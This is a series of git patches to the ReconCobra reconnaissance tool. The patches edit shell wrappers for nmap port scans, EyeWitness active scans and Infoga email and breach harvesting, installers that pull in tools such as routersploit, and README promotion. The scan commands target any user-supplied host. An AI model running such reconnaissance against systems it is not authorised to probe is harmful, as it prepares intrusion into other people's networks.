+nmap -p 21,22,23,25,43,53,68,80,110,111,115,119,123,137,139,143,161,220,389,443,445,513,514,691,1433,1521,1701,1723,2049,3306,3388,3389,4125,5060,5061,5062,5063,5064,5432,5800,5801,5802,5804,5900,5901,5903,5905,5986,6000,6001,6002,6003,6060,6061,6062,6063,6379,7000,7001,7199,8000,8080,8090,8443,9001,9042,27017,27018,27019 $Target > nmapcommonscan_data.txt From 79abfaad78a44530a2c2515ed5e023c982cc6ee4 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 3 Aug 2019 05:25:32 +0500 Subject: [PATCH 230/272] Update nmapcommonscan.sh --- nmapcommonscan.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nmapcommonscan.sh b/nmapcommonscan.sh index 4f73506..065761a 100644 --- a/nmapcommonscan.sh +++ b/nmapcommonscan.sh @@ -1,4 +1,4 @@ #!/bin/bash echo -n "[+] Enter Input File Path : " read Target -nmap -p 21,22,23,25,43,53,68,80,110,111,115,119,123,137,139,143,161,220,389,443,445,513,514,691,1433,1521,1701,1723,2049,3306,3388,3389,4125,5060,5061,5062,5063,5064,5432,5800,5801,5802,5804,5900,5901,5903,5905,5986,6000,6001,6002,6003,6060,6061,6062,6063,6379,7000,7001,7199,8000,8080,8090,8443,9001,9042,27017,27018,27019 $Target > nmapcommonscan_data.txt +nmap -p 21,22,23,25,43,53,68,80,110,111,115,119,123,137,139,143,161,220,389,443,445,513,514,691,1433,1521,1701,1723,2049,3306,3388,3389,4125,5060,5061,5062,5063,5064,5432,5800,5801,5802,5804,5900,5901,5903,5905,5986,6000,6001,6002,6003,6060,6061,6062,6063,6379,7000,7001,7199,8000,8080,8090,8443,9001,9042,27017,27018,27019 $Target > "nmapcommonscan_data.txt" From 65eff51afa241ab4f821431c0bb14bb762baf99b Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 3 Aug 2019 05:33:33 +0500 Subject: [PATCH 231/272] Update nmapcommonscan.sh --- nmapcommonscan.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nmapcommonscan.sh b/nmapcommonscan.sh index 065761a..b7712fb 100644 --- a/nmapcommonscan.sh +++ b/nmapcommonscan.sh @@ -1,4 +1,4 @@ #!/bin/bash -echo -n "[+] Enter Input File Path : " +echo -n "[+] Enter Target : " read Target nmap -p 21,22,23,25,43,53,68,80,110,111,115,119,123,137,139,143,161,220,389,443,445,513,514,691,1433,1521,1701,1723,2049,3306,3388,3389,4125,5060,5061,5062,5063,5064,5432,5800,5801,5802,5804,5900,5901,5903,5905,5986,6000,6001,6002,6003,6060,6061,6062,6063,6379,7000,7001,7199,8000,8080,8090,8443,9001,9042,27017,27018,27019 $Target > "nmapcommonscan_data.txt" From 504a7b28fde3c7f827bd54a3df6a182dd930e944 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 3 Aug 2019 05:34:02 +0500 Subject: [PATCH 232/272] Update nmapcommonscan.sh --- nmapcommonscan.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/nmapcommonscan.sh b/nmapcommonscan.sh index b7712fb..59b2c67 100644 --- a/nmapcommonscan.sh +++ b/nmapcommonscan.sh @@ -2,3 +2,4 @@ echo -n "[+] Enter Target : " read Target nmap -p 21,22,23,25,43,53,68,80,110,111,115,119,123,137,139,143,161,220,389,443,445,513,514,691,1433,1521,1701,1723,2049,3306,3388,3389,4125,5060,5061,5062,5063,5064,5432,5800,5801,5802,5804,5900,5901,5903,5905,5986,6000,6001,6002,6003,6060,6061,6062,6063,6379,7000,7001,7199,8000,8080,8090,8443,9001,9042,27017,27018,27019 $Target > "nmapcommonscan_data.txt" +echo -e "Data is saved as nmapcommonscan_data.txt" From 3ed9bcd1caca0577bfe16734f561e60cec1af1a2 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 3 Aug 2019 06:00:05 +0500 Subject: [PATCH 233/272] Update screenshot.sh --- screenshot.sh | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/screenshot.sh b/screenshot.sh index 3753d96..1b5f83a 100644 --- a/screenshot.sh +++ b/screenshot.sh @@ -1,6 +1,7 @@ #!/bin/bash -echo "Hint: Do Port Scan before using this tool" -echo "Hint: Do Net Block Scan before using this tool" +read -p "[+] Provide File Path: " path +echo "[+] Do Port and Block Scan before using this tool" +echo "[+] Loading" cd EyeWitness -python EyeWitness.py -f /root/urls.txt -d screens --rdp --web --vnc --active-scan --add-http-ports '21,25,80,137,139,443,445,8000,8080,8090,9000,9001,8443,3389,3306' --add-https-ports '21,25,80,137,139,443,445,8000,8080,8090,9000,9001,8443,3389,3306' -cd .. \ No newline at end of file +python EyeWitness.py -f $path -d screens --rdp --web --vnc --active-scan --add-http-ports '21,22,23,25,43,53,68,80,110,111,115,119,123,137,139,143,161,220,389,443,445,513,514,691,1433,1521,1701,1723,2049,3306,3388,3389,4125,5060,5061,5062,5063,5064,5432,5800,5801,5802,5804,5900,5901,5903,5905,5986,6000,6001,6002,6003,6060,6061,6062,6063,6379,7000,7001,7199,8000,8080,8090,8443,9001,9042,27017,27018,27019' --add-https-ports '21,22,23,25,43,53,68,80,110,111,115,119,123,137,139,143,161,220,389,443,445,513,514,691,1433,1521,1701,1723,2049,3306,3388,3389,4125,5060,5061,5062,5063,5064,5432,5800,5801,5802,5804,5900,5901,5903,5905,5986,6000,6001,6002,6003,6060,6061,6062,6063,6379,7000,7001,7199,8000,8080,8090,8443,9001,9042,27017,27018,27019' +cd .. From b558bd3014a182c71fa22557c6dd3fdaf54be7ff Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 3 Aug 2019 06:22:52 +0500 Subject: [PATCH 234/272] Update screenshot.sh --- screenshot.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/screenshot.sh b/screenshot.sh index 1b5f83a..766adee 100644 --- a/screenshot.sh +++ b/screenshot.sh @@ -3,5 +3,5 @@ read -p "[+] Provide File Path: " path echo "[+] Do Port and Block Scan before using this tool" echo "[+] Loading" cd EyeWitness -python EyeWitness.py -f $path -d screens --rdp --web --vnc --active-scan --add-http-ports '21,22,23,25,43,53,68,80,110,111,115,119,123,137,139,143,161,220,389,443,445,513,514,691,1433,1521,1701,1723,2049,3306,3388,3389,4125,5060,5061,5062,5063,5064,5432,5800,5801,5802,5804,5900,5901,5903,5905,5986,6000,6001,6002,6003,6060,6061,6062,6063,6379,7000,7001,7199,8000,8080,8090,8443,9001,9042,27017,27018,27019' --add-https-ports '21,22,23,25,43,53,68,80,110,111,115,119,123,137,139,143,161,220,389,443,445,513,514,691,1433,1521,1701,1723,2049,3306,3388,3389,4125,5060,5061,5062,5063,5064,5432,5800,5801,5802,5804,5900,5901,5903,5905,5986,6000,6001,6002,6003,6060,6061,6062,6063,6379,7000,7001,7199,8000,8080,8090,8443,9001,9042,27017,27018,27019' +python EyeWitness.py -f $path -d screens --active-scan --web --only-ports '21,22,23,25,43,53,68,80,110,111,115,119,123,137,139,143,161,220,389,443,445,513,514,691,1433,1521,1701,1723,2049,3306,3388,3389,4125,5060,5061,5062,5063,5064,5432,5800,5801,5802,5804,5900,5901,5903,5905,5986,6000,6001,6002,6003,6060,6061,6062,6063,6379,7000,7001,7199,8000,8080,8090,8443,9001,9042,27017,27018,27019' cd .. From ca0bf6432e2a3aea1777ffebb2b5813e129c0403 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 23 Aug 2019 00:26:53 +0500 Subject: [PATCH 235/272] Update xwin3.sh --- xwin3.sh | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/xwin3.sh b/xwin3.sh index 306d700..a0294f6 100644 --- a/xwin3.sh +++ b/xwin3.sh @@ -1,4 +1,5 @@ #!/bin/bash +cd xrdp read -p "[+] Enter Target : " Target read -p "[+] Enter Screen : " Screen -xrdp $Target:$Screen --no-disp \ No newline at end of file +./xrdp $Target:$Screen --no-disp From 6085aa36d79e48363685e6dc29329ca9a2cf2d98 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 23 Aug 2019 00:27:57 +0500 Subject: [PATCH 236/272] Update xwin3.sh --- xwin3.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/xwin3.sh b/xwin3.sh index a0294f6..6056f06 100644 --- a/xwin3.sh +++ b/xwin3.sh @@ -2,4 +2,4 @@ cd xrdp read -p "[+] Enter Target : " Target read -p "[+] Enter Screen : " Screen -./xrdp $Target:$Screen --no-disp +./xrdp.py $Target:$Screen --no-disp From 319187e04c2ba0cd032951c38156c56e93da7d69 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 28 Sep 2019 19:41:41 +0500 Subject: [PATCH 237/272] Add files via upload --- Termux_fixme.sh | 59 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 59 insertions(+) create mode 100644 Termux_fixme.sh diff --git a/Termux_fixme.sh b/Termux_fixme.sh new file mode 100644 index 0000000..50bf3c2 --- /dev/null +++ b/Termux_fixme.sh @@ -0,0 +1,59 @@ +# *************************************************************************************** # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# Agreement between "Haroon Awan" and "You"(user). # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# 1. By using this piece of software your bound to these point. # +# 2. This an End User License Agreement (EULA) is a legal between a software application # +# author "Haroon Awan" and (YOU) user of this software. # +# 3. This software application grants users rights to use for any purpose or modify and # +# redistribute creative works. # +# 4. This software comes in "is-as" warranty, author "Haroon Awan" take no responsbility # +# what you do with by/this software as your free to use this software. # +# 5. Any other purpose(s) that it suites as long as it is not related to any kind of # +# crime or using it in un-authorized environment. # +# 6. You can use this software to protect and secure your data information in any # +# environment. # +# 7. It can also be used in state of being protection against the unauthorized use of # +# information. # +# 8. It can be used to take measures achieve protection. # +# *************************************************************************************** # + +#!/bin/bash + +clear + +echo "Ultimate Recon and Foot Printing Software Version 1.0a"; +echo "Termux Installer By: Haroon Awan and HackerUniversee"; +echo "Coded By: Haroon Awan"; +echo "Mail: mrharoonawan@gmail.com"; +echo ""; + + +echo -e "prerequisite install" +apt-get install -y xrdp +apt-get install -y xdotool +apt-get install -y ccrypt +echo "y" | git clone https://github.com/haroonawanofficial/vasl.git + +echo -e "Installing Extra Perl Modules ..."; +echo "y" | cpan install WWW::Mechanize +echo "y" | cpan install HTML::TokeParser +echo "y" | cpan install HTML::Parser +echo "y" | apt-get install python +echo "y" | apt-get install python2 +echo "y" | apt-get install python3 + +echo "y" | wget https://cpan.metacpan.org/authors/id/B/BP/BPS/HTTP-Server-Simple-0.52.tar.gz +tar -xvf HTTP-Server-Simple-0.52.tar.gz +cd HTTP-Server-Simple-0.52 +perl Makefile.PL +make +make install +cd .. +echo "y" | wget https://cpan.metacpan.org/authors/id/G/GA/GAAS/HTML-Parser-3.72.tar.gz +tar -xvf HTML-Parser-3.72.tar.gz +cd HTML-Parser-3.72 +perl Makefile.PL +make +make install +cd .. \ No newline at end of file From 9edebcaecd13c4134e74a8a2f1f6b0fd3b97f85a Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sun, 29 Sep 2019 01:14:48 +0500 Subject: [PATCH 238/272] Update README.md --- README.md | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index 5529fb4..d867dce 100644 --- a/README.md +++ b/README.md @@ -4,15 +4,11 @@ EULA # Linux OS Interface - Software have 82 Options with full automation and powerful information gathering
- +
- -
- -
- +
# In-Action From 63e9e70f0307e19737ea8e104bc7657fe3ba04e0 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sun, 29 Sep 2019 01:15:55 +0500 Subject: [PATCH 239/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index d867dce..ad37135 100644 --- a/README.md +++ b/README.md @@ -44,7 +44,7 @@ ReconCobra is false positive free, when there is something it will show no matte # Youtube Video (https://tinyurl.com/yyj9mbz9) -![ReconCobra Youtube Video](http://oi66.tinypic.com/24zbvb8.jpg) +![ReconCobra Youtube Video] From 096ab3d8496400b2c761adbd109c96b23c302890 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sun, 29 Sep 2019 01:19:59 +0500 Subject: [PATCH 240/272] Update README.md --- README.md | 21 ++++++++++++++++----- 1 file changed, 16 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index ad37135..f1d2176 100644 --- a/README.md +++ b/README.md @@ -42,9 +42,14 @@ ReconCobra is false positive free, when there is something it will show no matte # Youtube Video -(https://tinyurl.com/yyj9mbz9) +Fan Made: +https://www.youtube.com/watch?v=kfykYEMS8YU +https://www.youtube.com/watch?v=j2DsDi43jO8 + +Official: +https://www.youtube.com/watch?v=TupCmgzp6hg + -![ReconCobra Youtube Video] @@ -70,7 +75,10 @@ ReconCobra is false positive free, when there is something it will show no matte - git clone https://github.com/haroonawanofficial/ReconCobra.git - cd Reconcobra - chmod u+x *.sh +- pkg install proot +- type: termux-chroot - ./Termux_Installer.sh +- ./Termux_fixme.sh - Reboot your Termux - perl ReconCobraTermux.pl - Dependencies will be handled automatically for Termux @@ -82,11 +90,14 @@ ReconCobra is false positive free, when there is something it will show no matte - git clone https://github.com/haroonawanofficial/ReconCobra.git - cd Reconcobra - chmod u+x *.sh +- pkg install proot +- type: termux-chroot - ./Termux_Installer.sh -- Reboot your android led tv +- ./Termux_fixme.sh +- Reboot your Termux - perl ReconCobraTermux.pl -- Dependencies will be handled automatically for android led tv -- Third party software(s)/dependencies/modules will be handled automatically for android led tv +- Dependencies will be handled automatically for Termux +- Third party software(s)/dependencies/modules will be handled automatically for Termux # Black Arch Installation - Open issue, if error occur From 2d9f7fa08e9795c08c177332aedb4db1d3fd5a81 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sun, 29 Sep 2019 01:23:53 +0500 Subject: [PATCH 241/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index f1d2176..35295ca 100644 --- a/README.md +++ b/README.md @@ -44,8 +44,8 @@ ReconCobra is false positive free, when there is something it will show no matte # Youtube Video Fan Made: https://www.youtube.com/watch?v=kfykYEMS8YU +Fan Made: https://www.youtube.com/watch?v=j2DsDi43jO8 - Official: https://www.youtube.com/watch?v=TupCmgzp6hg From 715d9c3ff2fbfdc66d540debd7468a8e6369c5dd Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sun, 29 Sep 2019 01:24:19 +0500 Subject: [PATCH 242/272] Update README.md --- README.md | 1 - 1 file changed, 1 deletion(-) diff --git a/README.md b/README.md index 35295ca..a5ccd97 100644 --- a/README.md +++ b/README.md @@ -44,7 +44,6 @@ ReconCobra is false positive free, when there is something it will show no matte # Youtube Video Fan Made: https://www.youtube.com/watch?v=kfykYEMS8YU -Fan Made: https://www.youtube.com/watch?v=j2DsDi43jO8 Official: https://www.youtube.com/watch?v=TupCmgzp6hg From f8d7e4df4cc2113f629d4ecfe53f52d04986f60c Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sun, 29 Sep 2019 01:25:04 +0500 Subject: [PATCH 243/272] Update README.md --- README.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index a5ccd97..2092b4f 100644 --- a/README.md +++ b/README.md @@ -41,12 +41,12 @@ EULA ReconCobra is false positive free, when there is something it will show no matter what, if it is not, it will give blank results rather error. -# Youtube Video -Fan Made: -https://www.youtube.com/watch?v=kfykYEMS8YU -https://www.youtube.com/watch?v=j2DsDi43jO8 -Official: -https://www.youtube.com/watch?v=TupCmgzp6hg +# Fan Made Youtube Video +- https://www.youtube.com/watch?v=kfykYEMS8YU +- https://www.youtube.com/watch?v=j2DsDi43jO8 + +# Official Youtube Video +- https://www.youtube.com/watch?v=TupCmgzp6hg From 268f0f1b27d9cd10ec62752e6cc28b331454ed5c Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sun, 29 Sep 2019 01:33:47 +0500 Subject: [PATCH 244/272] Update README.md --- README.md | 21 ++------------------- 1 file changed, 2 insertions(+), 19 deletions(-) diff --git a/README.md b/README.md index 2092b4f..db10ffb 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@ # LICENSE EULA -# Linux OS Interface +# Universal Linux Interface - Software have 82 Options with full automation and powerful information gathering
@@ -11,25 +11,8 @@ EULA
-# In-Action -- Extracting subdomains via certificate search -
- -
- -
- -
- -# Termux Interface -
- -
- -# ReconCobra +# Software Information: ReconCobra - Reconcobra is Foot printing software for Ultimate Information Gathering - -# Supported OS - Kali, Parrot OS, Black Arch, Termux, Android Led TV # Brief Introduction From 30c1d8a5d60ce91f198873bf678d38a911e282a3 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sun, 29 Sep 2019 01:34:21 +0500 Subject: [PATCH 245/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index db10ffb..0395de7 100644 --- a/README.md +++ b/README.md @@ -11,7 +11,7 @@ EULA -# Software Information: ReconCobra +# ReconCobra - Reconcobra is Foot printing software for Ultimate Information Gathering - Kali, Parrot OS, Black Arch, Termux, Android Led TV From 955fbbaabbac7209ffd349f77b57b1d9435a1f32 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sun, 27 Oct 2019 13:26:41 +0500 Subject: [PATCH 246/272] Update README.md --- README.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 0395de7..eba8120 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ EULA # Universal Linux Interface -- Software have 82 Options with full automation and powerful information gathering +- Software have 82 Options with full automation with powerful information gathering capability
@@ -24,6 +24,9 @@ EULA ReconCobra is false positive free, when there is something it will show no matter what, if it is not, it will give blank results rather error. +# Fan Made Tutorial +https://codeby.net/threads/reconcobra.68782/#post-351377 + # Fan Made Youtube Video - https://www.youtube.com/watch?v=kfykYEMS8YU - https://www.youtube.com/watch?v=j2DsDi43jO8 From 36335b1c63d0aee10cb2a17b6aee251cecbb89e6 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sun, 27 Oct 2019 13:29:14 +0500 Subject: [PATCH 247/272] Update README.md --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index eba8120..6d0020a 100644 --- a/README.md +++ b/README.md @@ -100,3 +100,6 @@ https://codeby.net/threads/reconcobra.68782/#post-351377 # Co-developer & Senior Tester - Arun S + +# Sponsor and Support via BTC +- 3BuUYgEgsRuEra4GwqNVLKnDCTjLEDfptu From 3c4f05e269714058d73d4f6c4718b0615ee72789 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 12 Nov 2019 19:02:50 +0500 Subject: [PATCH 248/272] Update README.md --- README.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 6d0020a..0fa4520 100644 --- a/README.md +++ b/README.md @@ -23,9 +23,10 @@ EULA - It’s first step to stop cyber criminals by securing your Infrastructural Information Gathering leakage. ReconCobra is false positive free, when there is something it will show no matter what, if it is not, it will give blank results rather error. - -# Fan Made Tutorial -https://codeby.net/threads/reconcobra.68782/#post-351377 +# Appeared +- https://codeby.net/threads/reconcobra.68782 +- https://www.facebook.com/1470285456587684/posts/reconcobra-ultimate-recon-software-for-information-gatheringbrief-introductionre/2351883108427910/ +- https://raidforums.com/Thread-reconcobra-Ultimate-Recon-Software-for-Information-Gathering # Fan Made Youtube Video - https://www.youtube.com/watch?v=kfykYEMS8YU From 982380ed2b04caebc982151b8064c08b35d14f8a Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sun, 1 Dec 2019 05:30:59 -0500 Subject: [PATCH 249/272] Update Kali_Installer.sh --- Kali_Installer.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Kali_Installer.sh b/Kali_Installer.sh index 25a3822..6575d3c 100644 --- a/Kali_Installer.sh +++ b/Kali_Installer.sh @@ -116,6 +116,8 @@ echo "y" | git clone https://github.com/haroonawanofficial/maahro.git echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git echo "y" | git clone https://github.com/chenjj/CORScanner.git cd CORScanner +echo "y" | apt-get install python-pip +echo "y" | apt-get install python3-pip pip install -r requirements.txt cd .. echo "y" | git clone https://github.com/stormshadow07/HackTheWorld.git From d959f0cd127276098bf593362020fcc8192639cd Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sun, 1 Dec 2019 05:46:38 -0500 Subject: [PATCH 250/272] Update Kali_Installer.sh --- Kali_Installer.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/Kali_Installer.sh b/Kali_Installer.sh index 6575d3c..bb9f4fe 100644 --- a/Kali_Installer.sh +++ b/Kali_Installer.sh @@ -126,7 +126,9 @@ chmod +x install.sh && ./install.sh cd .. echo "y" | git clone https://github.com/threat9/routersploit cd routersploit -sudo easy_install pip +sudo apt-get install python-setuptools +pip install setuptools +python setup.py install sudo pip install -r requirements.txt cd .. echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git From 08d648b1e3ec56eee5e2ba7f3567002e8e759097 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sun, 1 Dec 2019 05:56:46 -0500 Subject: [PATCH 251/272] Update README.md --- README.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/README.md b/README.md index 0fa4520..eae0a75 100644 --- a/README.md +++ b/README.md @@ -27,10 +27,14 @@ ReconCobra is false positive free, when there is something it will show no matte - https://codeby.net/threads/reconcobra.68782 - https://www.facebook.com/1470285456587684/posts/reconcobra-ultimate-recon-software-for-information-gatheringbrief-introductionre/2351883108427910/ - https://raidforums.com/Thread-reconcobra-Ultimate-Recon-Software-for-Information-Gathering +- Kelvin Security +- National Cyber Services Security +- Mr. Robot Z # Fan Made Youtube Video - https://www.youtube.com/watch?v=kfykYEMS8YU - https://www.youtube.com/watch?v=j2DsDi43jO8 +- https://www.facebook.com/MRRobotZalla/videos/769801130133298/?t=0 # Official Youtube Video - https://www.youtube.com/watch?v=TupCmgzp6hg From e9cb334466e0c2c59875f0bc7e4cc9bc91040775 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sun, 1 Dec 2019 06:18:00 -0500 Subject: [PATCH 252/272] Update README.md --- README.md | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index eae0a75..14bb122 100644 --- a/README.md +++ b/README.md @@ -29,7 +29,17 @@ ReconCobra is false positive free, when there is something it will show no matte - https://raidforums.com/Thread-reconcobra-Ultimate-Recon-Software-for-Information-Gathering - Kelvin Security - National Cyber Services Security -- Mr. Robot Z +- https://psdrepo.blogspot.com/2019/08/codebynet_14 +- Cyber Junkies +- https://vaultdomain.com/reconcobrathe-ultimate-recon-software-for-information-gathering-osint/ +- rdp4you +- Digital Union Media in OSINT category + +# Tweets +- Over, 1000+ Tweets about ReconCobra + +# Integrations +- Tigerman Root Software Package # Fan Made Youtube Video - https://www.youtube.com/watch?v=kfykYEMS8YU From 75c97fb50acc6264b245153d4c392621e0f7373a Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sun, 1 Dec 2019 06:22:22 -0500 Subject: [PATCH 253/272] Update README.md --- README.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/README.md b/README.md index 14bb122..64c8374 100644 --- a/README.md +++ b/README.md @@ -11,6 +11,11 @@ EULA +
+ +
+ + # ReconCobra - Reconcobra is Foot printing software for Ultimate Information Gathering - Kali, Parrot OS, Black Arch, Termux, Android Led TV From 2f85658bf88b0ae195d8042cb91c373ad79f2538 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sun, 1 Dec 2019 06:25:04 -0500 Subject: [PATCH 254/272] Update README.md --- README.md | 35 ++++++++++++++++++++++++++++------- 1 file changed, 28 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index 64c8374..2494f02 100644 --- a/README.md +++ b/README.md @@ -1,25 +1,46 @@ # LICENSE EULA -# Universal Linux Interface +# ReconCobra +- Reconcobra is Foot printing software for Ultimate Information Gathering +- Kali, Parrot OS, Black Arch, Termux, Android Led TV + + +# Interface - Software have 82 Options with full automation with powerful information gathering capability
- +
+# In-Action +
- + +
+
+ +
+
+ +
+
+ +
+
+ +
+
+ +
+
+
-# ReconCobra -- Reconcobra is Foot printing software for Ultimate Information Gathering -- Kali, Parrot OS, Black Arch, Termux, Android Led TV - # Brief Introduction - ReconCobra is useful in Banks, Private Organisations and Ethical hacker personnel for legal auditing. - It serves as a defense method to find as much as information possible for gaining unauthorised access and intrusion. From db440f8516e425c560584668e7b31301d67e1d21 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 2 Dec 2019 07:24:02 +0500 Subject: [PATCH 255/272] Update README.md --- README.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/README.md b/README.md index 2494f02..db03fb8 100644 --- a/README.md +++ b/README.md @@ -49,6 +49,11 @@ EULA - It’s first step to stop cyber criminals by securing your Infrastructural Information Gathering leakage. ReconCobra is false positive free, when there is something it will show no matter what, if it is not, it will give blank results rather error. + +# University Course +- ReconCobra is now a part of International Hacking Trainings for OSINT +- Cybersecurity365.com OSINT for Reconnaissance trainings for CEH, CISSP, Security+, ITPA + # Appeared - https://codeby.net/threads/reconcobra.68782 - https://www.facebook.com/1470285456587684/posts/reconcobra-ultimate-recon-software-for-information-gatheringbrief-introductionre/2351883108427910/ From 9485e1f5dac747de9070a764e3cdc9cfcd3d0253 Mon Sep 17 00:00:00 2001 From: Haroon Awan Date: Sat, 21 Dec 2019 13:55:58 -0500 Subject: [PATCH 256/272] Update Kali_Installer.sh --- Kali_Installer.sh | 3 +++ 1 file changed, 3 insertions(+) diff --git a/Kali_Installer.sh b/Kali_Installer.sh index bb9f4fe..b343ffe 100644 --- a/Kali_Installer.sh +++ b/Kali_Installer.sh @@ -132,6 +132,9 @@ python setup.py install sudo pip install -r requirements.txt cd .. echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git +echo "y" | git clone https://github.com/m4ll0k/Infoga.git +cd infoga +python2 setup.py install echo "y" | git clone https://github.com/exiftool/exiftool.git echo "y" | git clone https://github.com/GerbenJavado/LinkFinder.git echo "y" | git clone https://github.com/sensepost/BiLE-suite.git From d40b97a628c95a3e305213fffbec70c269b0b79c Mon Sep 17 00:00:00 2001 From: Haroon Awan Date: Sat, 21 Dec 2019 13:56:31 -0500 Subject: [PATCH 257/272] Update email.sh --- email.sh | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/email.sh b/email.sh index 642ac28..c71065b 100644 --- a/email.sh +++ b/email.sh @@ -1,4 +1,5 @@ #!/bin/bash +cd Infoga echo "Enter Target" read Target -python infoga.py --domain $Target --source all --breach -v 2 --report resulst.txt \ No newline at end of file +python infoga.py --domain $Target --source all --breach -v 2 --report resulst.txt From 42645f7a72f031e4e12c0b2ca9c4fe0fccf8fb4a Mon Sep 17 00:00:00 2001 From: Haroon Awan Date: Sat, 21 Dec 2019 14:12:59 -0500 Subject: [PATCH 258/272] Update README.md --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index db03fb8..8f503c0 100644 --- a/README.md +++ b/README.md @@ -5,6 +5,9 @@ EULA - Reconcobra is Foot printing software for Ultimate Information Gathering - Kali, Parrot OS, Black Arch, Termux, Android Led TV +# Api +- Edit censys.py and enter your own API and Secret Key +- Get updated Keys from censys.io # Interface - Software have 82 Options with full automation with powerful information gathering capability From 8d16eb1dfb5baf8f2e13750cd45f09fe677e262f Mon Sep 17 00:00:00 2001 From: Haroon Awan Date: Sat, 21 Dec 2019 14:13:58 -0500 Subject: [PATCH 259/272] Update README.md --- README.md | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 8f503c0..1a78fef 100644 --- a/README.md +++ b/README.md @@ -5,10 +5,6 @@ EULA - Reconcobra is Foot printing software for Ultimate Information Gathering - Kali, Parrot OS, Black Arch, Termux, Android Led TV -# Api -- Edit censys.py and enter your own API and Secret Key -- Get updated Keys from censys.io - # Interface - Software have 82 Options with full automation with powerful information gathering capability
